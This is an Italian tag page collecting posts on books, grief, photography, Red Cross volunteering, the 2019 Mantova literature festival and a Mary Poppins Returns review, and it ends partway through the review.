#libri sul lutto e lavoro del lutto
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Recensione di La luce delle stelle morte di Massimo Recalcati
“Nessun lavoro del lutto può mai compiersi pienamente. Esiste sempre un resto, qualcosa di indimenticabile.” L’ultima mia lettura è stata “La luce delle stelle morte – Saggio su lutto e nostalgia” di Massimo Recalcati. Come ho già detto in passato, amo particolarmente i testi di Recalcati e anche con questo libro ha sicuramente rispettato le mie aspettative. E le aspettative erano decisamente…
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Pennellate di bugie di Pamela Luidelli
La realtà supera la fantasia Pennellate di bugie di Pamela Luidelli edito da Horti di Giano è il quarto romanzo dell’autrice dopo Un caffè per la vittima (2021), Un caffè per l’assassino (2022), e Diretto all’inferno (2023). Il libro è ricco di intrighi e mistero, situazioni pericolose e segreti da non svelare. L’autrice è riuscita a dare a questa storia il giusto pathos con una sapiente miscela di mistero e sensibilitàche coinvolgono il lettore fino all’ultima pagina. Una storia come tante, che si apre con un lutto che cambia la vita e che a sua volta verrà trasformata da un evento che metterà a dura prova la protagonista. Siamo negli Stati Uniti e la signora Müller è una nota scrittrice. L’arrivo forzato della nipote Felicia la costringerà a superare il torpore in cui è caduta, riacuendo i suoi sensi e sprigionando le sue forze vitali. Pamela Luidelli è un’appassionata viaggiatrice. Ama la scrittura e la lettura e quando può scappa alla ricerca dei suoi amati castelli con fantasmi. Gestisce l’interessante canale YouTube PAMLive in cui intervista artisti di vario genere e il blog www.iviaggilowcostdipamela.com, in cui parla di città visitate ma anche di fantasmi, leggende, libri e cucina. Ringraziamo Pamela per questa bella intervista e ne approfittiamo per parlare con lei non solo del suo libro ma anche di scrittura e lettura. Pennellate di bugie di Pamela Luidelli Salve Pamela, lei è nuova ai lettori di Cinquecolonne Magazine. Ci racconta brevemente cosa fa nella vita, di cosa si occupa? Desidero esprimere la mia gratitudine a Cinquecolonne Magazine per avermi concesso la possibilità di presentarmi. Risiedo insieme alla mia famiglia sul Lago Maggiore, sorgente d'ispirazione per i miei romanzi. Nonostante gli imprevisti che la vita riserva, trovo comunque il tempo di viaggiare alla ricerca di castelli europei e dei fantasmi che li abitano. Peccato che non mi accada mai di incontrarli, ma pazienza: la speranza è l'ultima a morire! La routine quotidiana invece prevede lunghe ore trascorse nello studio, in compagnia del fedele amico a quattro zampe Artù, immersa tra le pagine dei libri, sorseggiando talvolta davvero troppe tazze di latte e tè, alla continua ricerca di una nuova storia da raccontare. Pennellate di bugie è la sua ultima fatica letteraria. Rispetto ai suoi romanzi precedenti questo non è un vero e proprio giallo. Cosa l’ha spinta a cambiare genere? Come accennato in precedenza, questo è il quarto mio romanzo pubblicato. Tuttavia, desidero sottolineare che si tratta del mio primogenito, quello che ho voluto sottoporre ad una maturazione accurata. Il genere di appartenenza è il romanzo giallo e per la prima volta ho deciso di adottare un approccio soft nell'ambito investigativo, pur preservando intatta l'emozione tipica del genere. La complessità delle relazioni familiari tra madre, figlia e nipote è stata affrontata con realistica sensibilità, sottolineando la crudele realtà della violenza sulle donne. In questo modo, il mio lavoro si differenzia nettamente dai miei scritti precedenti, mettendo in luce uno stile nascosto che mi appartiene. Soffermiamoci sul titolo del romanzo. Perché lo ha scelto? Che ruolo hanno le bugie nella storia della protagonista? Inizialmente il titolo era diverso: "La vita è un viaggio". Tuttavia, alla luce della trama, ho preferito optare per un nome diverso, in grado di catturare l'essenza delle bugie, quelle raccontate per il bene degli altri, quelle per evitare conflitti e, soprattutto, quelle che raccontiamo a noi stessi per allontanare la realtà. Ma, come ben sappiamo, le bugie sono e rimangono bugie: la verità finisce sempre per emergere, apportando una torrenziale quantità di problemi. Non scordiamoci mai di questo. Alla fine la protagonista e tutta la sua famiglia attingerà da questa saggezza, conservandola come un gioiello prezioso. Quando è entrata la scrittura nella sua vita? Potrei redigere un saggio sulla mia passione per la scrittura, tuttavia mi preme confessare che è giunta in ritardo nella mia vita, solo sei anni fa. Devo ringraziare mio marito che mi ha spinto a provare. Prima di cimentarmi in questo campo, mi sono dedicata alla lettura, divenendo presto una lettrice accanita. A tal punto che non esiterei a leggere anche venti libri al mese per la soddisfazione delle mie ricerche. In effetti, la mia mente è costantemente in fermento. Quando si dedica alla scrittura dei romanzi? Durante i suoi viaggi oppure ha bisogno di momenti di tranquillità e solitudine per dare vita al suo processo creativo? Sono convinta che lo scrittore debba essere considerato un artista a tutti gli effetti, in grado di sperimentare, studiare e commettere errori. In passato, scrivevo solo nel tempo libero, ma ho presto capito che non era abbastanza: necessitavo di dedicarmici a tempo pieno e così ho fatto. Ci sono giorni in cui leggo di più e scrivo meno, ma ciò fa parte del processo creativo. Ogni volta che mi è concesso di viaggiare, devo ammettere che l'effetto benefico è impareggiabile. L'esperienza di scoprire nuovi luoghi e culture mi eleva anima e spirito, offrendomi un nutrimento emotivo senza eguali. Mi è stata donata la fortuna di avere il mio studio personale dove poter trovare rifugio e concentrazione, accanto alla mia amata collezione di libri. La tranquillità che tanto desidero mi attende tra quelle pareti. Ringrazio di cuore per questa opportunità Read the full article
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Bruno Barbey e “Les Italiens”
di Gustavo Millozzi
-- La scomparsa di Bruno Barbey che ha tristemente colpito il mondo della fotografia mi ha dato occasione per andare a riscoprire il suo lavoro ed in particolare le immagini di “The Italians” progetto che si era quindi concretizzato in un volume che alla sua uscita mi aveva fortemente interessato e che ora voglio ricordare con uno scritto.
Rivedendo quelle fotografie ho avuto la sensazione di rivivere quel periodo, quello della “dolce vita” che ho attraversato nella mia giovinezza ed improvvisamente mi sono soffermato su un’immagine scattata a Venezia nel 1966 che raffigura, ripreso inconsapevole dal basso verso l’alto con un grandangolo, un distinto signore in lutto stretto (bottone nero all’occhiello, cravatta e nastro nero sul cappello come allora era consuetudine in un certo ceto) in piedi su una gondola-traghetto.
Venezia, 1966
Non so se altri lo abbiano riconosciuto, ma per me è stato come reincontrare un vecchio amico in quanto ho in lui subito ravvisato l’ottimo e ben rinomato fotografo veneziano Mario Bonzuan che aveva operato nell’ambito del Circolo Fotografico La Gondola e quindi nel Gruppo La Bussola, importante personaggio della cultura della città lagunare e del quale si era già avuto opportunità di trattare su queste pagine (link).
Se avessero fatto reciproca conoscenza ritengo che il fotografo veneziano, con la sua pluriennale esperienza e vasta conoscenza dell’ambiente artistico, avrebbe potuto dare un valido contributo al giovane fotografo agli inizi della sua carriera!
Bruno Barbey, nato in Marocco nel 1941, aveva compiuto i suoi studi di fotografia ed arti grafiche a Vevey in Svizzera e nel 1960 aveva avuto incarico dalle Rencontre Editions di Losanna di fotografare i Paesi europei ed africani. Realizzò negli anni seguenti un progetto editoriale articolato intitolato “Les Italiens”: una raccolta che documentava l’Italia, soggiornandovi in varie occasioni negli anni ’60, attraversandola da nord a sud, catturando il suo animo in quel periodo di pieno boom economico e raccontando lo spirito dei suoi abitanti attraverso le immagini.
Quel reportage in bianco e nero era stato promosso e incoraggiato da Robert Delpire, editore che all'epoca aveva da poco curato la pubblicazione di altri due libri simili per soggetto e impostazione: Les Américains di Robert Frank e Les Allemands di René Burri. Era stato colpito dalle immagini di quel giovane di ventuno anni e lo aveva messo in contatto con Marc Ribaud e Henri Cartier-Bresson: un giovane che solo cinque anni dopo sarebbe entrato a far parte della prestigiosa agenzia Magnum Photos.
Il progetto non fu però allora realizzato anche se parecchie sue immagini appariranno prima su numerose riviste, ma verrà pubblicato in forma di volume solo nel 2002 dalla statunitense Harry N. Abrams Inc. e in contemporanea in Francia con la Editions La Martinière (in reprint – anche questo come gli altri ormai esaurito - nel 2015 dall’italiana Contrasto).
Giusto, discreto e preciso nel suo approccio, Bruno Barbey ha catturato nel loro contesto quotidiano ragazzi, suore, aristocratici, carabinieri, preti, mendicanti, prostitute o vecchi mafiosi - tanti personaggi di ogni classe sociale - di una multiforme umanità che, senza soluzione di continuità, si susseguono sulla scena di una moderna commedia dell'arte vista in cinematografia e che ha contribuito a rendere così popolari le opere di Pasolini, Visconti e Fellini.
Ciò in una terra di aspri contrasti, come ci viene raccontato in modo affascinante con un filo nostalgico da Bruno Barbey, al di là delle maschere e delle situazioni, attraverso un profondo rispetto per i suoi personaggi e per i luoghi in cui vivono e dei quali rivela le anime. Perché dietro ogni volto si vede un teatro interiore, quello della passione, della memoria e dei sogni. "Le persone semplici sono generose con i sogni", ha scritto Tahar Ben Jelloun i cui testi accompagnano le fotografie nel libro.
Roma,1962 Trapani, 1964
Una vecchia automobile abbandonata in fondo a un vicolo cieco diventa così un rifugio per i giochi dei bambini; una processione religiosa quale attesa di ogni redenzione, una Vespa in una stanza di un “basso” napoletano che è centro di un mondo, un botteghino del lotto unica speranza in un ricco futuro…
Napoli, 1963 Napoli, 1964
Tra lo sguardo sensibile di Bruno Barbey e la poetica penna di Tahar Ben Jelloun, emerge dalle pagine una geografia emotiva: da Roma “dove amiamo fingere”, fino a Napoli dove “crediamo nelle sirene e nei santi” e a Palermo dove “il biliardo è un gioco metafisico”…
L’Italia degli anni Sessanta era ancora un Paese in cui si credeva ai miracoli, un’Italia che “alza la testa”, anche se c'erano ancora sacche di estrema povertà, che, dopo tante sofferenze e gli orrori e le miserie generati dalla guerra, conosceva il boom economico, un entusiasmo forse illusorio, una nuova società dove era arrivata la musica, la moda, dove la gente incominciava ad avere qualche soldo in più nelle tasche e dove i giovani si aspettavano un grande domani.
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Il volontariato che fai tu è per tutti?
Si. Per tutti. Ma tipo tutti, da tuo padre pensionato a tua sorella che dovrebbe anche studiare perché 18enne, ma no farebbe di tutto per stare lontana dai libri.
Questo post lo scrivo su richiesta di @b0ringasfuck per avere delucidazioni sul tipo di volontariato che svolgo e, che per fortuna, faccio per lavoro. Come già detto nel titolo si, lo possono fare tutti indistintamente senza problema alcuno. Basta aver voglia di fare e mettersi in gioco.
Esiste solo la CRI? Si venite da noi abbiamo i biscotti Non esiste solo la Croce Rossa, questa è nata per prima nel 1864 grazie a Henry Dunant e alla battaglia di Solferino (dove scrisse pure il libro Souvenir da Solferino dove narra le barbarie subite dai feriti e dai prigionieri di guerra), ma esistono MOLTISSIME altre associazioni: dalla Misericordia alla Pubblica Assistenza, alle Anfas ecc.
Come si sale in Ambulanza? Coi piedi Per poter salire in ambulanza è facile: basta avere 18 anni e seguire un corso apposito dalla durata variabile a seconda dell'associazione. Per esempio la CRI ha il corso in 2 step: il primo step dura un mese ed è d'avvicinamento a tutte le attività dell'associazione (non esiste solo Ambulanza, ma anche Protezione Civile, Clown alla Patch Adams, staff cucina per emergenze maggiori, distribuzione pacchi viveri, Operatori polivalenti soccorso in Acqua, operatore Nucleare Biologico Chimico Radioattivo, Cinofili per cani da ricerca, Psicologi dei Popoli ECC ECC ECC SON TANTI) mentre il secondo step può essere Sanitario (che dura sui 3-4 mesi più il tirocinio di 60 ore ed esame) o altre specializzazioni che sceglierete. Nelle altre associazioni il corso dura meno, ma ha gli stessi contenuti, visto che questi vengono decisi dalle convenzioni con le varie ASL o USL o chicchessia.
Quanto mi occupa? prendi na chiavetta da 8 gb Il tempo minimo da dare una volta volontari? Dipende da associazione ad associazione: per esempio, nella CRI del mio comitato, bastano 60 ore di attività miste annuali o 115 annuali d'ambulanza (1 turno e 1/4 al mese insomma). Poi dipende sempre dal numero di volontari e dalle attività che si fanno.
Come faccio a trovare un corso vicino a me? Prendi la cornetta Mondial Casa ti aspetta Internet per cercare l'associazione più vicina a te, oppure in Pronto Soccorso chiedi che associazioni ci sono sul territorio, oppure (solo per la CRI) sul portale gaia.cri.it ti registri, dici di dove sei e se ci sono corsi nella tua zona ti arriva subito una mail per confermare l'iscrizione.
Vedrò cose brutte? Se vieni a Rovereto (TN) vedi me. Dipende da molti fattori e dal fattore bicchiere: vedrai cose molto brutte e cose molte belle. Ma in ogni caso i colleghi volontari ti staranno sempre vicini in caso di elaborazione lutto o se pensi di aver sbagliato qualcosa, sia parlando, sia con specialisti del settore o istruttori.
Ma nella storia delle ONG ci siete dentro anche voi? Basta ascoltare la merda che ti propina i TG. Siamo una ONG, aiutiamo persone di qualsiasi etnia colore e provenienza aliena. Se ti fa schifo una persona per il colore della pelle, estinguiti.
Quanto si viene pagati? Cerca volontariato sul dizionario, risponde lui (blabla ma tu vieni pagato è tutto un altro discorso)
Per altre domande basta rebloggare il post e io rispondo. Più circolano informazioni sul volontariato, più la gente smetterà di inventarsi cose
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Festivaletteratura Mantova 2019
Quest’anno ho deciso di iniziare a parlarvi del Festivaletteratura di Mantova, una kermess dal sapore internazionale dedicata ai libri che si tiene nella mia città ogni anno all’inizio di settembre, con largo anticipo perchè si preannuncia un’edizione BOMBA che avrà ospiti scrittori strafamosi e acclamati a livello internazionale, perciò voglio che siate preparati a prendervi qualche giorno di ferie e organizzare un viaggetto a Mantova, che tra l’altro è anche una città molto suggestiva e ricca d’arte da visitare.
Iniziamo col dire che l’edizione del FESTIVALETTERATURA di MANTOVA 2019 si terrà da mercoledì 4 a domenica 8 settembre 2019.
Ospiti d’eccezione fra i tanti autori presenti: Margaret Atwood, narratrice canadese di fama mondiale, ora ancora più conosciuta grazie alla serie televisiva tratta dal suo racconto distopico Il racconto dell’ancella, il cui seguito atteso da anni dai lettori uscirà in Italia il 10 settembre 2019 col titolo I testimoni. la scozzese Ali Smith, più volte candidata al Nobel; Jeffery Deaver, autore di gialli/thriller che ha conquistato il pubblico di tutto il mondo con il ciclo di romanzi con protagonista Lincoln Rhyme, il romanziere statunitense Dave Eggers, autore del libro distopico futurista Il cerchio da cui è stato tratto il film omonimo con Tom Hanks e Emma Watson ; Bernhard Schlink, autore tedesco tra i più tradotti al mondo autore tra gli altri di Il lettore (o A voce alta) opera sul senso di colpa post bellico della Germania dopo la fine della seconda guerra mondiale divenuto anche un famoso film con Kate Winslet che le è valso l’Oscar; Ian McEwan autore di Espiazione e molti altri libri ormai divenuti veri e propri classici, lo scrittore e saggista statunitense Jonathan Safran Foer autore di Ogni cosa è illuminata; Pilar del Rio giornalista e traduttrice spagnola nonché vedova di José Saramago, il premio Pulitzer Colson Whitehead autore di La ferrovia sotterranea, Gail Honeyman autore di Eleonor Oliphant sta benissimo; David Nicholls, sceneggiatore e autore di romanzi sentimentali di grande successo come Un giorno diventato anche un film, Tony Sandoval, autore di graphic novel perennemente in bilico tra il gotico e il fantastico, e poi ancora Dacia Maraini ed Erri De Luca, Stefania Bertola, Licia Troisi, lo scrittore fantasy Jonathan Stroud e molti altri ancora!
Ma oltre al Festival, a tutti questi scrittori e al turbinio di libri presenti, ci sono due motivi in più per venire a Mantova il 5 e il 7 settembre, io (Mariachiara Cabrini alias Weirde) e Francesca Cani faremo due incontri aperti al pubblico totalmente liberi senza bisogno di biglietti o altro per presentare il nostro romanzo storico edito da Fanucci, L’Elisir di Mantova.
Ci farebbe veramente piacere potervi conoscere dopo anni che ci parliamo tramite internet e condividiamo le nostre letture e questa credo sia veramente una buona occasione per farlo. Perchè non verreste solo per noi, ma potreste anche prendere parte ad un Festivaletteratura veramente ricco.
Fateci sapere se siete intenzionati a fare un viaggetto a Mantova e vi daremo tutte le dritte giuste per arrivarci e soggiornarvi. Le date in cui noi saremo presenti sono il 5 e il 7 settembre, più avanti vi daremo più dettagli. Per ora vi dico che non vediamo l’ora di potervi conoscere e parlare un poco con voi!
Alcuni dei libri del Festivaletteratura 2019:
Il racconto dell’ancella
Margaret Atwood
In un mondo devastato dalle radiazioni atomiche, gli Stati Uniti sono divenuti uno Stato totalitario, basato sul controllo del corpo femminile. Difred, la donna che appartiene a Fred, ha solo un compito nella neonata Repubblica di Galaad: garantire una discendenza alla élite dominante. Il regime monoteocratico di questa società del futuro, infatti, è fondato sullo sfruttamento delle cosiddette ancelle, le uniche donne che dopo la catastrofe sono ancora in grado di procreare. Ma anche lo Stato più repressivo non riesce a schiacciare i desideri e da questo dipenderà la possibilità e, forse, il successo di una ribellione. Mito, metafora e storia si fondono per sferrare una satira energica contro i regimi totalitari. Ma non solo: c'è anche la volontà di colpire, con tagliente ironia, il cuore di una società meschinamente puritana che, dietro il paravento di tabù istituzionali, fonda la sua legge brutale sull'intreccio tra sessualità e politica. Quello che l'ancella racconta sta in un tempo di là da venire, ma interpella fortemente il presente.
Inverno
Ali Smith
Una vigilia di Natale in una maestosa e decadente villa in Cornovaglia. Quattro personaggi che in tre giorni di festa, mettono a confronto diverse generazioni, sensibilità, visioni del mondo e provando in qualche modo a convivere. Secondo capitolo della tetralogia che Ali Smith dedica alle stagioni, Inverno alterna riferimenti alla drammatica attualità contemporanea (la Brexit, Donald Trump, i cambiamenti climatici) e luminosi tocchi di realismo magico, intessendo le pagine di allusioni letterarie (da Dickens a Shakespeare).
Il taglio di Dio
Jeffery Deaver
Diamond District, Manhattan. Jatin Patel, maestro tagliatore di diamanti, giace esanime sul pavimento del suo laboratorio. Pochi metri più in là, una giovane coppia di fidanzati. Hanno caviglie e polsi legati, la gola tagliata. La scena che la squadra di Lincoln Rhyme si trova di fronte, un sabato mattina qualunque nelle stanze della Patel Designs, ha tutti i numeri della classica rapina finita male. Ma per Amelia Sachs qualcosa non torna. I diamanti lavorati non sono stati portati via, e l’assassino si è accanito sulle vittime con una brutalità che suggerisce un movente diverso. Per sposare definitivamente la tesi che dietro all’omicidio si nasconda altro, basta leggere il messaggio sgrammaticato e delirante che il killer ha inviato alla stampa. Non è la prima volta che Rhyme deve entrare nella mente allucinata di un assassino. Se non fosse che la follia del Promittente, così si è firmato, è eguagliata da un’abilità e una lucidità fuori dal comune. Per quanto un errore l’abbia già commesso, un errore che lo potrebbe incastrare.
Il cerchio
Dave Eggers
"Mio Dio, questo è un paradiso" pensa Mae Holland quando fa il suo ingresso al Cerchio, la più influente azienda al mondo nella gestione di informazioni web. Mae adora tutto del Cerchio: gli open space avveniristici, le palestre e le piscine distribuite ai piani, la zona riposo con i materassi per chi si trovasse a passare la notte al lavoro, i tavoli da ping pong per scaricare la tensione, le feste organizzate, perfino l'acquario con rarissimi pesci tropicali. Pur di far parte della comunità di eletti del Cerchio, Mae accoglie la richiesta di rinunciare alla propria privacy per un regime di trasparenza assoluta. Nessun problema per Mae, tanto la vita fuori dal Cerchio non è che un miraggio sfocato e privo di fascino. Almeno fino a quando un ex collega non la fa riflettere: il progetto di usare i social network per creare un mondo più sano e più sicuro è davvero privo di conseguenze?
Il lettore
Bernhard Schlink
Germania, fine anni Cinquanta. Mentre il paese cerca di archiviare definitivamente gli orrori della guerra, il quindicenne Michael Berg cerca di lasciarsi alle spalle i giorni maledetti della sua adolescenza. Svanita l'itterizia che lo ha costretto a letto per un intero inverno, ora può avventurarsi di nuovo per le strade della sua città, e raggiungere la casa di Hanna Schmitz, la sconosciuta trentenne che lo ha soccorso un giorno d'ottobre in cui, di ritorno dalla scuola, la malattia si era fatta sentire con violenza. Occhi azzurri, capelli biondo cenere, il volto spigoloso ma femminile, Hanna Schmitz esercita un'attrazione fatale sul ragazzo. Nella sua casa, un modesto appartamento in cui la stanza più grande è la cucina, Michael riceve la sua iniziazione alla vita sentimentale. Un'iniziazione fatta di travolgente passione e pudori, interrotti di tanto in tanto da uno strano rituale imposto dalla donna: la lettura ad alta voce da parte del ragazzo dei classici della letteratura tedesca. Un giorno, però, Hanna svanisce nel nulla senza lasciare traccia, gettando Michael nella più cupa disperazione. Alcuni anni dopo, il ragazzo, divenuto studente di legge, la rivede in un'aula di tribunale in cui si celebrano i cosiddetti "Auschwitzprozesse"... in veste di imputata.
Nel guscio
Ian McEwan
La gravidanza di Trudy è quasi a termine, ma l'evento si prospetta tutt'altro che lieto per il suo piccolo ospite. Ad attenderlo nella grande casa di famiglia (e nel letto coniugale) non c'è il legittimo marito di Trudy e suo futuro padre, John Cairncross, poeta povero e sconosciuto, innamorato della moglie e della civiltà delle parole, ma il fratello di lui, il ricco e becero agente immobiliare Claude. Dalla sua posizione ribaltata e cieca, il nascituro gode nondimeno di una prospettiva privilegiata sugli eventi in corso, ed è lui a metterci a parte di una vicenda di lutto e di sospetto dagli echi assai familiari. Certo, i due cognati fedifraghi, Trudy e lo zio Claude, non hanno regni nordici cui aspirare. Ma amletico è il crimine orrendo che il narratore vede (o meglio sente) arrivare,Se nel testo shakespeariano l'origliamento, l'atto di spiare e raccogliere informazioni rovistando i recessi e gli anditi del regno, è spesso motore dell'azione, nel guscio l'udito è il senso privilegiato per ragioni fisiologiche, e a essere rovistati a pochissima distanza dal capo dell'inorridito narratore sono spesso e volentieri i recessi e gli anditi del corpo materno. Mentre all'orecchio non sempre affidabile del nostro eroe non-nato si dipana la tragica detective story, nella manciata di giorni che separano il suo «esserci» dal suo protetto «non-esserci» ancora, e il nascituro ha tempo di riflettere su di sé, sulla complicata faccenda dell'amore, sul mondo, coi suoi orrori contemporanei e con le sue desiderate meraviglie. Ha tempo e curiosità sufficienti per farsi domande, interpretare i segni della sua realtà mediata, contemplare azioni e concludere che la sua sola salvezza, la salvezza dell'uomo, sta forse nell'esitazione.
Molto forte, incredibilmente vicino
Jonathan Safran Foer
A New York un ragazzino riceve dal padre un messaggio rassicurante sul cellulare: "C'è qualche problema qui nelle Torri Gemelle, ma è tutto sotto controllo". È l'11 settembre 2001. Tra le cose del padre scomparso il ragazzo trova una busta col nome Black e una chiave: a questi due elementi si aggrappa per riallacciare il rapporto troncato e per compensare un vuoto affettivo che neppure la madre riesce a colmare. Inizia un viaggio nella città alla ricerca del misterioso signor Black: un itinerario ricco di incontri che lo porterà a dare finalmente risposta all'enigmatico ritrovamento e ai propri dubbi. E sarà soprattutto l'incontro col nonno a fargli ritrovare un mondo di affetti e a riaprirlo alla vita.
La ferrovia sotterranea
Colson Whitehead
«La ferrovia sotterranea» è il nome con cui si indica, nella storia degli Stati Uniti, la rete clandestina di militanti antischiavisti che nell’Ottocento aiutava i neri a fuggire dal Sud agli stati liberi del Nord. Nel suo romanzo storico dalle sfumature fantastiche, Colson Whitehead la trasforma in una vera e propria linea ferroviaria operante in segreto, nel sottosuolo, grazie a macchinisti e capistazione abolizionisti. È a bordo di questi treni che Cora, una giovane schiava nera fuggita dagli orrori di una piantagione della Georgia, si imbarca in un arduo viaggio verso la libertà, facendo tappa in vari stati del Sud dove la persecuzione dei neri prende forme diverse e altrettanto raccapriccianti. Aiutata da improbabili alleati e inseguita da uno spietato cacciatore di taglie, riuscirà a guadagnarsi la salvezza? La ferrovia sotterranea è una testimonianza scioccante – e politicamente consapevole – dell’eterna brutalità del razzismo, ma si legge al tempo stesso come un’appassionante storia d’avventura che ha al centro una moderna e tenacissima eroina femminile. Unico romanzo degli ultimi vent’anni a vincere sia il National Book Award che il Premio Pulitzer, è un libro che sembra già destinato a diventare un classico.
Eleanor Oliphant sta benissimo
Gail Honeyman
Mi chiamo Eleanor Oliphant e sto bene, anzi: sto benissimo. Non bado agli altri. So che spesso mi fissano, sussurrano, girano la testa quando passo. Forse è perché io dico sempre quello che penso. Ma io sorrido. Ho quasi trent'anni e da nove lavoro nello stesso ufficio. In pausa pranzo faccio le parole crociate. Poi torno a casa e mi prendo cura di Polly, la mia piantina: lei ha bisogno di me, e io non ho bisogno di nient'altro. Perché da sola sto bene. Solo il mercoledì mi inquieta, perché è il giorno in cui arriva la telefonata di mia madre. Mi chiama dalla prigione. Dopo averla sentita, mi accorgo di sfiorare la cicatrice che ho sul volto e ogni cosa mi sembra diversa. Ma non dura molto, perché io non lo permetto. E se me lo chiedete, infatti, io sto bene. Anzi, benissimo. O così credevo, fino a oggi. Perché oggi è successa una cosa nuova. Qualcuno mi ha rivolto un gesto gentile. Il primo della mia vita. E all'improvviso, ho scoperto che il mondo segue delle regole che non conosco. Che gli altri non hanno le mie paure, non cercano a ogni istante di dimenticare il passato. Forse il «tutto» che credevo di avere è precisamente tutto ciò che mi manca. E forse è ora di imparare davvero a stare bene. Anzi: benissimo.
Noi
David Nicholls
Douglas e Connie si conoscono alla fine degli anni Ottanta, quando il muro di Berlino era ancora in piedi. Trent'anni e dottore in biochimica, Douglas trascorreva allora i giorni feriali e gran parte del weekend in laboratorio a studiare il moscerino della frutta. Connie, invece, divideva il suo tempo con una "combriccola di artistoidi", come li chiamavano i genitori di Douglas: aspiranti attori, commediografi e poeti, musicisti e giovani brillanti che rincorrevano carriere improbabili, facevano tardi la sera e si radunavano a volte a casa di Karen, la sorella di Douglas piuttosto promiscua in fatto di amicizie, a bere e discutere animatamente. Ed è durante una festa nell'appartamento di Karen, che Douglas si imbatte per la prima volta in Connie: capelli ben tagliati e lucenti, un viso stupendo, una voce sensuale, distinta ed elegante con i suoi vestiti vintage cuciti su misura, attillati e perfetti. Sono trascorsi più di vent'anni da allora e Douglas e Connie sono sposati da decenni e hanno un figlio, Albie. Douglas ha cinquantaquattro anni e la sensazione di scivolare verso la vecchiaia come la neve che cade dal tetto. Connie è sempre attraente e Douglas la ama cosi tanto che non sa nemmeno come dirglielo, e dà per scontato che concluderanno le loro vite insieme. Una sera, però, a letto, Connie proferisce le parole che Douglas non avrebbe mai voluto sentire: "Il nostro matrimonio è arrivato al capolinea, Douglas. Penso che ti lascerò".
La trilogia di Bartimeus
Jonathan Stroud
Il millenario jinn Bartimaeus, il demone che costruì le mura di Uruk, Karnak e Praga, che parlò con re Salomone, che cavalcò per le praterie con i padri dei bisonti, viene improvvisamente richiamato dal mondo degli spiriti ed evocato a Londra. Una Londra tetra e cupa dove la magia consiste in un'unica capacità: quella di evocare e asservire demoni, i quali, loro malgrado, obbediranno a ogni ordine del mago che li tiene in suo potere. Bartimaeus deve compiere una missione difficilissima: rubare l'Amuleto di Samarcanda al temibile e ambizioso Simon Lovelace...
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MARVELOUS, MYSTICAL, RATHER SOPHISTICAL (AND PRATICALLY PERFECT)
Quando venne rilasciato il primo trailer per Mary Poppins Returns, un placido primo pomeriggio di metà settembre, io mi trovavo a bordo di un autobus in direzione stazione di Ancona. Girava da un po’ la voce che sarebbe stato reso pubblico proprio quel giorno, e io avevo in effetti trascorso le precedenti otto ore (il lunedì la mia sveglia suona così presto che è puntata direttamente a “mortaccivostri”) a refreshare tutti i social esistenti chiedendomi dove diavolo fosse quel video.
All’improvviso, sbam! In un tripudio di cori angelici, di cherubini, serafini e spazzacamini, il trailer.
Ora, dovete sapere che in tutte le mila volte che ho preso quell’autobus, il controllore è passato in due sole occasioni. L’ultima di queste è stata proprio quel lunedì.
Io mi ero appena sparata i tanto agognati due minuti e ventisei secondi, e il mio equipaggiamento di personaggio base consisteva in: n. 2 occhi a cuoricino; n. 1 sorriso ebete; n. 1 saracinesca abbassata nel cervello con un cartello con su scritto “Torno subito”. Se qualcuno avesse sbirciato oltre detta saracinesca avrebbe visto i miei neuroni fare il trenino cantando e sculettando un medley composto da Brigitte Bardot, Bardot, Maracaibo e La Notte Vola.
Io non so, giuro (giuro: non lo dico per aumentare l’effetto drammatico) che non ho idea da quanto tempo il controllore stesse cercando di attirare la mia attenzione. Avete presente Paola Perego che chiama “Presidente? Presidente?” quando Andreotti.exe smise di funzionare? Ecco.
Oh, alla fine il biglietto gliel’ho fatto vedere, eh, non si vada a pensare che con artifizi e raggiri stessi cercando di frodare la Conerobus S.p.A. Gliel’ho fatto vedere, e lui l’ha squadrato, poi ha squadrato me, ha pensato “Questa qua è totalmente fulminata ma almeno il titolo di viaggio è in ordine” e cià.
Morale della favola: quando si tratta di Mary Poppins, o quando si tratta di Emily Blunt (o, a maggior ragione, quando si tratta di Mary Poppins interpretata da Emily Blunt), io perdo totalmente la capacità di intendere e di volere. E, forse, anche e soprattutto la dignità.
It’s a good thing you came along when you did, Mary Poppins
“Arrivederci, Mary Poppins. Non stare via molto” salutava Bert alla fine del primo film.
È stata via cinquantaquattro anni e centoventi giorni.
Si tratta di uno degli intervalli di tempo più lunghi mai registrati tra un film e il suo sequel: se vogliamo escludere Bambi II, che è uscito direttamente in home-video sessantatré anni e centosettantotto giorni dopo, a detenere il record è Fantasia 2000, con i suoi cinquantanove anni e quarantotto giorni.
È un ciclopico lasso temporale - tanto ampio da vedere l’emergere della contestazione giovanile, l’uomo sulla Luna, la fine della guerra del Vietnam, la caduta del muro di Berlino e la dissoluzione dell’URSS, le guerre jugoslave, l’abolizione dell’apartheid, la nascita di internet, l’11 settembre, la crisi economica più grave dopo quella degli anni ’30 e Leonardo DiCaprio vincere un Oscar - ma Mary non poteva tornare che ora: ora che i tempi sono più bui che mai, ora che c’è l’unica attrice in grado di darle la vita dopo dame Julie Andrews.
Really? How incredibly rude. One never discusses a woman’s age, Micheal. Would’ve hoped I taught you better.
Non trattandosi di un remake ma di un sequel, questa Mary Poppins è la stessa Mary Poppins del 1964, ma ha caratteristiche peculiari tutte sue che di fatto la rendono una terza versione di se stessa. La pellicola, infatti, ci mostra dei lati della tata che la contraddistinguono tanto da quella del primo film tanto da quella dei libri, nel complesso creando un personaggio più sfumato e sfaccettato pur restando - e lo approfondiremo poi - sempre uguale a se stesso. E, ovviamente, praticamente perfetto.
Nei libri (*), viene descritta una Mary estremamente altera e vanitosa (“Ci teneva a mostrarsi nella sua veste migliore. In realtà, era sicura di mostrarsi sempre nella sua veste migliore”; “Sospirò di piacere quando vide tre se stesse [...] Le sembrava una vista così graziosa che avrebbe desiderato che di se stesse ce ne fossero una dozzina”; “Non guardava altro che se stessa riflessa nel vetro”; “Non aveva mai visto nessuno con una figura tanto elegante e distinta”), superba (“Poi, con un lungo poderoso sospiro, che sembrò significare che aveva formulato il suo giudizio, disse: «Accetto l’impiego.» E più tardi la signora Banks riferì al marito: «L’ha detto proprio come se ci facesse un grande onore.»; “Squadrò altezzosamente”, “Arricciò il naso con superiorità”; “Soggiunse con l’aria di compatirli”), brusca, sempre propensa a dire “no”, con una voce “fredda e chiara che suonava sempre come un ammonimento”, rigida in faccia e con “un terribile sguardo ammonitore” tanto che non la si poteva guardare e disobbedirle.
